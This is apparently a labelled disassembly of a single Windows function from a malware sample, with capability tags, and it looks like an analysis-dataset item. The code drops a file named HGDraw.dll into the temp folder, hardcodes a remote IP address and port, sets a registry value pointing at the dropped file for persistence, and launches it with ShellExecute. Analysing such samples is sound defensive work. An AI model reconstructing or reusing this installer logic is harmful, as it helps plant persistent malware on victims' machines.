Function at 0x401110
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Get file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1d98
call fcn.0041aa90
mov eax, dword [0x428044]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov dword [ebp - 0x2a0], 0
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 0
xor eax, eax
mov word [ebp - 0x6f8], ax
push 0x206
push 0
lea ecx, [ebp - 0x6f6]
push ecx
call fcn.00413990
add esp, 0xc
xor edx, edx
mov word [ebp - 0x1830], dx
push 0x206
push 0
lea eax, [ebp - 0x182e]
push eax
call fcn.00413990
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x1620], cx
push 0x206
push 0
lea edx, [ebp - 0x161e]
push edx
call fcn.00413990
add esp, 0xc
xor eax, eax
mov word [ebp - 0x2e4], ax
xor ecx, ecx
mov dword [ebp - 0x2e2], ecx
mov dword [ebp - 0x2de], ecx
mov dword [ebp - 0x2da], ecx
mov dword [ebp - 0x2d6], ecx
mov dword [ebp - 0x2d2], ecx
mov dword [ebp - 0x2ce], ecx
mov dword [ebp - 0x2ca], ecx
mov word [ebp - 0x2c6], cx
mov dx, word [0x425dfc]
mov word [ebp - 0x290], dx
push 0x7e
push 0
lea eax, [ebp - 0x28e]
push eax
call fcn.00413990
add esp, 0xc
mov cx, word [0x425e00]
mov word [ebp - 0x1210], cx
push 0x7e
push 0
lea edx, [ebp - 0x120e]
push edx
call fcn.00413990
add esp, 0xc
xor eax, eax
mov word [ebp - 0x98c], ax
mov cx, word [0x425e04]
mov word [ebp - 0x988], cx
push 0x7e
push 0
lea edx, [ebp - 0x986]
push edx
call fcn.00413990
add esp, 0xc
xor eax, eax
mov word [ebp - 0x1624], ax
xor ecx, ecx
mov word [ebp - 0x1418], cx
push 0x206
push 0
lea edx, [ebp - 0x1416]
push edx
call fcn.00413990
add esp, 0xc
xor eax, eax
mov word [ebp - 0x2c4], ax
xor ecx, ecx
mov dword [ebp - 0x2c2], ecx
mov dword [ebp - 0x2be], ecx
mov dword [ebp - 0x2ba], ecx
mov dword [ebp - 0x2b6], ecx
mov dword [ebp - 0x2b2], ecx
mov dword [ebp - 0x2ae], ecx
mov dword [ebp - 0x2aa], ecx
mov word [ebp - 0x2a6], cx
mov dword [ebp - 0x4ec], 0
mov dword [ebp - 0x29c], 0
xor edx, edx
mov word [ebp - 0x900], dx
push 0x206
push 0
lea eax, [ebp - 0x8fe]
push eax
call fcn.00413990
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x210], cx
push 0x206
push 0
lea edx, [ebp - 0x20e]
push edx
call fcn.00413990
add esp, 0xc
mov dword [ebp - 0x2a4], 0
push 0x200
push 0
lea eax, [ebp - 0x4e8]
push eax
call fcn.00413990
add esp, 0xc
push 1
lea ecx, [ebp - 0x4e8]
push ecx
call fcn.004021a0
add esp, 8
mov dword [ebp - 0x298], eax
push 0
lea edx, [ebp - 0x1a30]
push edx
call fcn.004021a0
add esp, 8
mov dword [ebp - 0x29c], eax
push 0x104
lea eax, [ebp - 0x1830]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x6f8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.HGDraw.dll
push 0x104
lea edx, [ebp - 0x6f8]
push edx
call fcn.004100f4
add esp, 0xc
lea eax, [ebp - 0x6f8]
mov dword [ebp - 0x1c74], eax
mov ecx, dword [ebp - 0x1c74]
add ecx, 2
mov dword [ebp - 0x1c78], ecx
mov edx, dword [ebp - 0x1c74]
mov ax, word [edx]
mov word [ebp - 0x1c7a], ax
add dword [ebp - 0x1c74], 2
cmp word [ebp - 0x1c7a], 0
jne 0x4013a9
mov ecx, dword [ebp - 0x1c74]
sub ecx, dword [ebp - 0x1c78]
sar ecx, 1
mov dword [ebp - 0x1c80], ecx
je 0x4013ff
lea edx, [ebp - 0x6f8]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4013ff
lea eax, [ebp - 0x6f8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x298], 0
je 0x401881
lea ecx, [ebp - 0x6f8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [ebp - 0x360]
push edx
push 0x104
lea eax, [ebp - 0x6f8]
push eax
call fcn.004100f4
add esp, 0xc
push 0x425e20
push 0x104
lea ecx, [ebp - 0x6f8]
push ecx
call fcn.004100f4
add esp, 0xc
lea edx, [ebp - 0x6f8]
mov dword [ebp - 0x1c84], edx
mov eax, dword [ebp - 0x1c84]
add eax, 2
mov dword [ebp - 0x1c88], eax
mov ecx, dword [ebp - 0x1c84]
mov dx, word [ecx]
mov word [ebp - 0x1c8a], dx
add dword [ebp - 0x1c84], 2
cmp word [ebp - 0x1c8a], 0
jne 0x40146d
mov eax, dword [ebp - 0x1c84]
sub eax, dword [ebp - 0x1c88]
sar eax, 1
mov dword [ebp - 0x1c90], eax
je 0x4014c3
lea ecx, [ebp - 0x6f8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4014c3
lea edx, [ebp - 0x6f8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x340]
push eax
push 0x10
lea ecx, [ebp - 0x2e4]
push ecx
call fcn.00410171
add esp, 0xc
lea edx, [ebp - 0x6f8]
push edx
lea eax, [ebp - 0x340]
push eax
call fcn.00402590
add esp, 8
lea ecx, [ebp - 0x340]
push ecx
call fcn.00402640
add esp, 4
cmp eax, 1
jne 0x40150c
xor eax, eax
jmp 0x402190
lea edx, [ebp - 0x340]
mov dword [ebp - 0x1c94], edx
lea eax, [ebp - 0x900]
mov dword [ebp - 0x1c98], eax
mov ecx, dword [ebp - 0x1c98]
mov dword [ebp - 0x1c9c], ecx
mov edx, dword [ebp - 0x1c94]
mov ax, word [edx]
mov word [ebp - 0x1c9e], ax
mov ecx, dword [ebp - 0x1c98]
mov dx, word [ebp - 0x1c9e]
mov word [ecx], dx
mov eax, dword [ebp - 0x1c94]
add eax, 2
mov dword [ebp - 0x1c94], eax
mov ecx, dword [ebp - 0x1c98]
add ecx, 2
mov dword [ebp - 0x1c98], ecx
cmp word [ebp - 0x1c9e], 0
jne 0x401530
lea edx, [ebp - 0x340]
mov dword [ebp - 0x1ca4], edx
lea eax, [ebp - 0x210]
mov dword [ebp - 0x1ca8], eax
mov ecx, dword [ebp - 0x1ca8]
mov dword [ebp - 0x1cac], ecx
mov edx, dword [ebp - 0x1ca4]
mov ax, word [edx]
mov word [ebp - 0x1cae], ax
mov ecx, dword [ebp - 0x1ca8]
mov dx, word [ebp - 0x1cae]
mov word [ecx], dx
mov eax, dword [ebp - 0x1ca4]
add eax, 2
mov dword [ebp - 0x1ca4], eax
mov ecx, dword [ebp - 0x1ca8]
add ecx, 2
mov dword [ebp - 0x1ca8], ecx
cmp word [ebp - 0x1cae], 0
jne 0x40159c
lea edx, [ebp - 0x210]
add edx, 0xfffffffe
mov dword [ebp - 0x1cb4], edx
mov eax, dword [ebp - 0x1cb4]
mov cx, word [eax + 2]
mov word [ebp - 0x1cb6], cx
add dword [ebp - 0x1cb4], 2
cmp word [ebp - 0x1cb6], 0
jne 0x4015f3
mov edi, dword [ebp - 0x1cb4]
mov edx, dword [0x425e2c]
mov dword [edi], edx
mov eax, dword [0x425e30]
mov dword [edi + 4], eax
mov ecx, dword [0x425e34]
mov dword [edi + 8], ecx
lea edx, [ebp - 0x900]
push edx
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0
je 0x4016e0
mov eax, dword [ebp - 0x2a4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x210]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x1a34], 0
lea edx, [ebp - 0x900]
push edx
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0
je 0x4016e0
cmp dword [ebp - 0x1a34], 5
jge 0x4016e0
mov eax, dword [ebp - 0x2a4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x1a34]
add ecx, 1
mov dword [ebp - 0x1a34], ecx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40168b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x6f8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x462]
mov dword [ebp - 0x1cbc], eax
lea ecx, [ebp - 0x290]
mov dword [ebp - 0x1cc0], ecx
mov edx, dword [ebp - 0x1cc0]
mov dword [ebp - 0x1cc4], edx
mov eax, dword [ebp - 0x1cbc]
mov cx, word [eax]
mov word [ebp - 0x1cc6], cx
mov edx, dword [ebp - 0x1cc0]
mov ax, word [ebp - 0x1cc6]
mov word [edx], ax
mov ecx, dword [ebp - 0x1cbc]
add ecx, 2
mov dword [ebp - 0x1cbc], ecx
mov edx, dword [ebp - 0x1cc0]
add edx, 2
mov dword [ebp - 0x1cc0], edx
cmp word [ebp - 0x1cc6], 0
jne 0x40171c
lea eax, [ebp - 0x4e4]
mov dword [ebp - 0x1ccc], eax
lea ecx, [ebp - 0x1210]
mov dword [ebp - 0x1cd0], ecx
mov edx, dword [ebp - 0x1cd0]
mov dword [ebp - 0x1cd4], edx
mov eax, dword [ebp - 0x1ccc]
mov cx, word [eax]
mov word [ebp - 0x1cd6], cx
mov edx, dword [ebp - 0x1cd0]
mov ax, word [ebp - 0x1cd6]
mov word [edx], ax
mov ecx, dword [ebp - 0x1ccc]
add ecx, 2
mov dword [ebp - 0x1ccc], ecx
mov edx, dword [ebp - 0x1cd0]
add edx, 2
mov dword [ebp - 0x1cd0], edx
cmp word [ebp - 0x1cd6], 0
jne 0x401788
mov ax, word [ebp - 0x464]
mov word [ebp - 0x98c], ax
lea ecx, [ebp - 0x442]
mov dword [ebp - 0x1cdc], ecx
lea edx, [ebp - 0x988]
mov dword [ebp - 0x1ce0], edx
mov eax, dword [ebp - 0x1ce0]
mov dword [ebp - 0x1ce4], eax
mov ecx, dword [ebp - 0x1cdc]
mov dx, word [ecx]
mov word [ebp - 0x1ce6], dx
mov eax, dword [ebp - 0x1ce0]
mov cx, word [ebp - 0x1ce6]
mov word [eax], cx
mov edx, dword [ebp - 0x1cdc]
add edx, 2
mov dword [ebp - 0x1cdc], edx
mov eax, dword [ebp - 0x1ce0]
add eax, 2
mov dword [ebp - 0x1ce0], eax
cmp word [ebp - 0x1ce6], 0
jne 0x401802
mov cx, word [ebp - 0x3c2]
mov word [ebp - 0x1624], cx
mov edx, dword [ebp - 0x320]
mov dword [ebp - 0x4ec], edx
lea eax, [ebp - 0x360]
push eax
push 0x10
lea ecx, [ebp - 0x2c4]
push ecx
call fcn.00410171
add esp, 0xc
jmp 0x40199e
cmp dword [0x42906c], 3
jne 0x40199e
push 0x236
push 0
lea edx, [ebp - 0x1c70]
push edx
call fcn.00413990
add esp, 0xc
lea eax, [ebp - 0x1c70]
push eax
call fcn.004028c0
add esp, 4
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0
je 0x40199e
lea ecx, [ebp - 0x1b62]
mov dword [ebp - 0x1cec], ecx
lea edx, [ebp - 0x290]
mov dword [ebp - 0x1cf0], edx
mov eax, dword [ebp - 0x1cf0]
mov dword [ebp - 0x1cf4], eax
mov ecx, dword [ebp - 0x1cec]
mov dx, word [ecx]
mov word [ebp - 0x1cf6], dx
mov eax, dword [ebp - 0x1cf0]
mov cx, word [ebp - 0x1cf6]
mov word [eax], cx
mov edx, dword [ebp - 0x1cec]
add edx, 2
mov dword [ebp - 0x1cec], edx
mov eax, dword [ebp - 0x1cf0]
add eax, 2
mov dword [ebp - 0x1cf0], eax
cmp word [ebp - 0x1cf6], 0
jne 0x4018ea
lea ecx, [ebp - 0x1210]
push ecx
mov edx, dword [ebp - 0x1b6a]
push edx
call fcn.00402d40
add esp, 8
mov ax, word [ebp - 0x1b66]
mov word [ebp - 0x98c], ax
lea ecx, [ebp - 0x988]
push ecx
mov edx, dword [ebp - 0x1b70]
push edx
call fcn.00402d40
add esp, 8
mov ax, word [ebp - 0x1b6c]
mov word [ebp - 0x1624], ax
mov ecx, dword [ebp - 0x1c68]
mov dword [ebp - 0x4ec], ecx
lea edx, [ebp - 0x1b42]
push edx
push 0x10
lea eax, [ebp - 0x2e4]
push eax
call fcn.00410171
add esp, 0xc
cmp dword [ebp - 0x29c], 0
je 0x401bd4
lea ecx, [ebp - 0x19aa]
mov dword [ebp - 0x1cfc], ecx
lea edx, [ebp - 0x290]
mov dword [ebp - 0x1d00], edx
mov eax, dword [ebp - 0x1d00]
mov dword [ebp - 0x1d04], eax
mov ecx, dword [ebp - 0x1cfc]
mov dx, word [ecx]
mov word [ebp - 0x1d06], dx
mov eax, dword [ebp - 0x1d00]
mov cx, word [ebp - 0x1d06]
mov word [eax], cx
mov edx, dword [ebp - 0x1cfc]
add edx, 2
mov dword [ebp - 0x1cfc], edx
mov eax, dword [ebp - 0x1d00]
add eax, 2
mov dword [ebp - 0x1d00], eax
cmp word [ebp - 0x1d06], 0
jne 0x4019cf
lea ecx, [ebp - 0x1a2c]
mov dword [ebp - 0x1d0c], ecx
lea edx, [ebp - 0x1210]
mov dword [ebp - 0x1d10], edx
mov eax, dword [ebp - 0x1d10]
mov dword [ebp - 0x1d14], eax
mov ecx, dword [ebp - 0x1d0c]
mov dx, word [ecx]
mov word [ebp - 0x1d16], dx
mov eax, dword [ebp - 0x1d10]
mov cx, word [ebp - 0x1d16]
mov word [eax], cx
mov edx, dword [ebp - 0x1d0c]
add edx, 2
mov dword [ebp - 0x1d0c], edx
mov eax, dword [ebp - 0x1d10]
add eax, 2
mov dword [ebp - 0x1d10], eax
cmp word [ebp - 0x1d16], 0
jne 0x401a3b
mov cx, word [ebp - 0x19ac]
mov word [ebp - 0x98c], cx
mov dword [ebp - 0x1d1c], 0x425e38
lea edx, [ebp - 0x988]
mov dword [ebp - 0x1d20], edx
mov eax, dword [ebp - 0x1d20]
mov dword [ebp - 0x1d24], eax
mov ecx, dword [ebp - 0x1d1c]
mov dx, word [ecx]
mov word [ebp - 0x1d26], dx
mov eax, dword [ebp - 0x1d20]
mov cx, word [ebp - 0x1d26]
mov word [eax], cx
mov edx, dword [ebp - 0x1d1c]
add edx, 2
mov dword [ebp - 0x1d1c], edx
mov eax, dword [ebp - 0x1d20]
add eax, 2
mov dword [ebp - 0x1d20], eax
cmp word [ebp - 0x1d26], 0
jne 0x401ab3
mov cx, word [ebp - 0x190a]
mov word [ebp - 0x1624], cx
mov edx, dword [0x429068]
mov dword [ebp - 0x4ec], edx
cmp dword [0x42906c], 3
je 0x401b31
push 1
lea eax, [ebp - 0x1418]
push eax
call fcn.00402df0
add esp, 8
jmp 0x401b42
push 0
lea ecx, [ebp - 0x1418]
push ecx
call fcn.00402df0
add esp, 8
lea edx, [ebp - 0x1418]
mov dword [ebp - 0x1d2c], edx
lea eax, [ebp - 0x1620]
mov dword [ebp - 0x1d30], eax
mov ecx, dword [ebp - 0x1d30]
mov dword [ebp - 0x1d34], ecx
mov edx, dword [ebp - 0x1d2c]
mov ax, word [edx]
mov word [ebp - 0x1d36], ax
mov ecx, dword [ebp - 0x1d30]
mov dx, word [ebp - 0x1d36]
mov word [ecx], dx
mov eax, dword [ebp - 0x1d2c]
add eax, 2
mov dword [ebp - 0x1d2c], eax
mov ecx, dword [ebp - 0x1d30]
add ecx, 2
mov dword [ebp - 0x1d30], ecx
cmp word [ebp - 0x1d36], 0
jne 0x401b66
push 0x425e54
push 0x104
lea edx, [ebp - 0x1620]
push edx
call fcn.004100f4
add esp, 0xc
lea eax, [ebp - 0x1620]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x200
push 0
lea ecx, [ebp - 0x4e8]
push ecx
call fcn.00413990
add esp, 0xc
mov dword [ebp - 0x4e8], 0x504d534d
mov edx, 0x51
mov word [ebp - 0x464], dx
mov dword [ebp - 0x1d3c], str.218.54.30.235
lea eax, [ebp - 0x4e4]
mov dword [ebp - 0x1d40], eax
mov ecx, dword [ebp - 0x1d40]
mov dword [ebp - 0x1d44], ecx
mov edx, dword [ebp - 0x1d3c]
mov ax, word [edx]
mov word [ebp - 0x1d46], ax
mov ecx, dword [ebp - 0x1d40]
mov dx, word [ebp - 0x1d46]
mov word [ecx], dx
mov eax, dword [ebp - 0x1d3c]
add eax, 2
mov dword [ebp - 0x1d3c], eax
mov ecx, dword [ebp - 0x1d40]
add ecx, 2
mov dword [ebp - 0x1d40], ecx
cmp word [ebp - 0x1d46], 0
jne 0x401c22
mov edx, 0x2b70
mov word [ebp - 0x3c2], dx
mov dword [ebp - 0x1d4c], 0x425e88
lea eax, [ebp - 0x442]
mov dword [ebp - 0x1d50], eax
mov ecx, dword [ebp - 0x1d50]
mov dword [ebp - 0x1d54], ecx
mov edx, dword [ebp - 0x1d4c]
mov ax, word [edx]
mov word [ebp - 0x1d56], ax
mov ecx, dword [ebp - 0x1d50]
mov dx, word [ebp - 0x1d56]
mov word [ecx], dx
mov eax, dword [ebp - 0x1d4c]
add eax, 2
mov dword [ebp - 0x1d4c], eax
mov ecx, dword [ebp - 0x1d50]
add ecx, 2
mov dword [ebp - 0x1d50], ecx
cmp word [ebp - 0x1d56], 0
jne 0x401c98
mov dword [ebp - 0x1d5c], 0x425ea4
lea edx, [ebp - 0x462]
mov dword [ebp - 0x1d60], edx
mov eax, dword [ebp - 0x1d60]
mov dword [ebp - 0x1d64], eax
mov ecx, dword [ebp - 0x1d5c]
mov dx, word [ecx]
mov word [ebp - 0x1d66], dx
mov eax, dword [ebp - 0x1d60]
mov cx, word [ebp - 0x1d66]
mov word [eax], cx
mov edx, dword [ebp - 0x1d5c]
add edx, 2
mov dword [ebp - 0x1d5c], edx
mov eax, dword [ebp - 0x1d60]
add eax, 2
mov dword [ebp - 0x1d60], eax
cmp word [ebp - 0x1d66], 0
jne 0x401d02
mov ecx, dword [0x429068]
mov dword [ebp - 0x320], ecx
cmp dword [ebp - 0x298], 0
jne 0x401d71
cmp dword [ebp - 0x294], 0
jne 0x401d71
cmp dword [ebp - 0x29c], 0
je 0x401df0
lea edx, [ebp - 0x290]
push edx
lea eax, [ebp - 0x462]
push eax
call fcn.00406720
add esp, 8
lea ecx, [ebp - 0x1210]
push ecx
lea edx, [ebp - 0x4e4]
push edx
call fcn.00406740
add esp, 8
mov ax, word [ebp - 0x98c]
mov word [ebp - 0x464], ax
lea ecx, [ebp - 0x988]
push ecx
lea edx, [ebp - 0x442]
push edx
call fcn.00406740
add esp, 8
mov ax, word [ebp - 0x1624]
mov word [ebp - 0x3c2], ax
mov ecx, dword [ebp - 0x4ec]
mov dword [ebp - 0x320], ecx
cmp dword [ebp - 0x4ec], 0
jne 0x401df0
mov edx, dword [0x429068]
mov dword [ebp - 0x320], edx
movzx eax, word [ebp - 0x4e4]
test eax, eax
je 0x401e06
movzx ecx, word [ebp - 0x464]
test ecx, ecx
jg 0x401e10
jmp 0x402180
mov dword [ebp - 0x4e8], 0x504d534d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004101e0
add esp, 4
xor edx, edx
mov word [ebp - 0x1190], dx
push 0x7fe
push 0
lea eax, [ebp - 0x118e]
push eax
call fcn.00413990
add esp, 0xc
movzx ecx, word [ebp - 0x3c0]
test ecx, ecx
jne 0x401e7c
lea edx, [ebp - 0x1190]
push edx
push 6
push 5
call fcn.00402e40
add esp, 0xc
lea eax, [ebp - 0x1190]
push eax
lea ecx, [ebp - 0x3c0]
push ecx
call fcn.00406720
add esp, 8
movzx edx, word [ebp - 0x3a0]
test edx, edx
jne 0x401eb0
lea eax, [ebp - 0x1190]
push eax
push 6
push 5
call fcn.00402e40
add esp, 0xc
lea ecx, [ebp - 0x1190]
push ecx
lea edx, [ebp - 0x3a0]
push edx
call fcn.00406720
add esp, 8
lea eax, [ebp - 0x2c4]
mov dword [ebp - 0x1d6c], eax
mov ecx, dword [ebp - 0x1d6c]
add ecx, 2
mov dword [ebp - 0x1d70], ecx
mov edx, dword [ebp - 0x1d6c]
mov ax, word [edx]
mov word [ebp - 0x1d72], ax
add dword [ebp - 0x1d6c], 2
cmp word [ebp - 0x1d72], 0
jne 0x401ecb
mov ecx, dword [ebp - 0x1d6c]
sub ecx, dword [ebp - 0x1d70]
sar ecx, 1
mov dword [ebp - 0x1d78], ecx
je 0x401f32
lea edx, [ebp - 0x2c4]
push edx
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x401f32
lea eax, [ebp - 0x2c4]
push eax
push 0x10
lea ecx, [ebp - 0x360]
push ecx
call fcn.00410171
add esp, 0xc
movzx edx, word [ebp - 0x360]
test edx, edx
jne 0x401f66
lea eax, [ebp - 0x1190]
push eax
push 6
push 5
call fcn.00402e40
add esp, 0xc
lea ecx, [ebp - 0x1190]
push ecx
lea edx, [ebp - 0x360]
push edx
call fcn.00406720
add esp, 8
movzx eax, word [ebp - 0x340]
test eax, eax
jne 0x402006
lea ecx, [ebp - 0x1190]
push ecx
push 6
push 5
call fcn.00402e40
add esp, 0xc
lea edx, [ebp - 0x1190]
push edx
lea eax, [ebp - 0x340]
push eax
call fcn.00406720
add esp, 8
lea ecx, [ebp - 0x2e4]
mov dword [ebp - 0x1d7c], ecx
mov edx, dword [ebp - 0x1d7c]
add edx, 2
mov dword [ebp - 0x1d80], edx
mov eax, dword [ebp - 0x1d7c]
mov cx, word [eax]
mov word [ebp - 0x1d82], cx
add dword [ebp - 0x1d7c], 2
cmp word [ebp - 0x1d82], 0
jne 0x401fb9
mov edx, dword [ebp - 0x1d7c]
sub edx, dword [ebp - 0x1d80]
sar edx, 1
mov dword [ebp - 0x1d88], edx
je 0x402006
lea eax, [ebp - 0x2e4]
push eax
lea ecx, [ebp - 0x340]
push ecx
call fcn.00406720
add esp, 8
movzx edx, word [ebp - 0x380]
test edx, edx
jne 0x40203a
lea eax, [ebp - 0x1190]
push eax
push 6
push 5
call fcn.00402e40
add esp, 0xc
lea ecx, [ebp - 0x1190]
push ecx
lea edx, [ebp - 0x380]
push edx
call fcn.00406720
add esp, 8
mov eax, dword [0x429064]
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x320], 0
jne 0x40205a
mov ecx, dword [0x429068]
mov dword [ebp - 0x320], ecx
lea edx, [ebp - 0x4e8]
push edx
call fcn.00402fa0
add esp, 4
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0
jne 0x402082
jmp 0x402180
lea eax, [ebp - 0x6f8]
push eax
lea ecx, [ebp - 0x340]
push ecx
call fcn.00402590
add esp, 8
push 0x32
lea edx, [ebp - 0x6f8]
push edx
lea eax, [ebp - 0x1830]
push eax
call fcn.004031d0
add esp, 0xc
mov dword [ebp - 0x904], 0
lea ecx, [ebp - 0x904]
push ecx
push 3
push 0
push 0x425eb0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402166
lea edx, [ebp - 0x6f8]
mov dword [ebp - 0x1d8c], edx
mov eax, dword [ebp - 0x1d8c]
add eax, 2
mov dword [ebp - 0x1d90], eax
mov ecx, dword [ebp - 0x1d8c]
mov dx, word [ecx]
mov word [ebp - 0x1d92], dx
add dword [ebp - 0x1d8c], 2
cmp word [ebp - 0x1d92], 0
jne 0x4020f8
mov eax, dword [ebp - 0x1d8c]
sub eax, dword [ebp - 0x1d90]
sar eax, 1
mov dword [ebp - 0x1d98], eax
mov ecx, dword [ebp - 0x1d98]
lea edx, [ecx + ecx + 2]
push edx
lea eax, [ebp - 0x6f8]
push eax
push 1
push 0
push 0x425f1c
mov ecx, dword [ebp - 0x904]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402166
mov edx, dword [ebp - 0x904]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x425f24
lea eax, [ebp - 0x6f8]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x2a0], 1
mov eax, dword [ebp - 0x2a0]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004100e5
mov esp, ebp
pop ebp
ret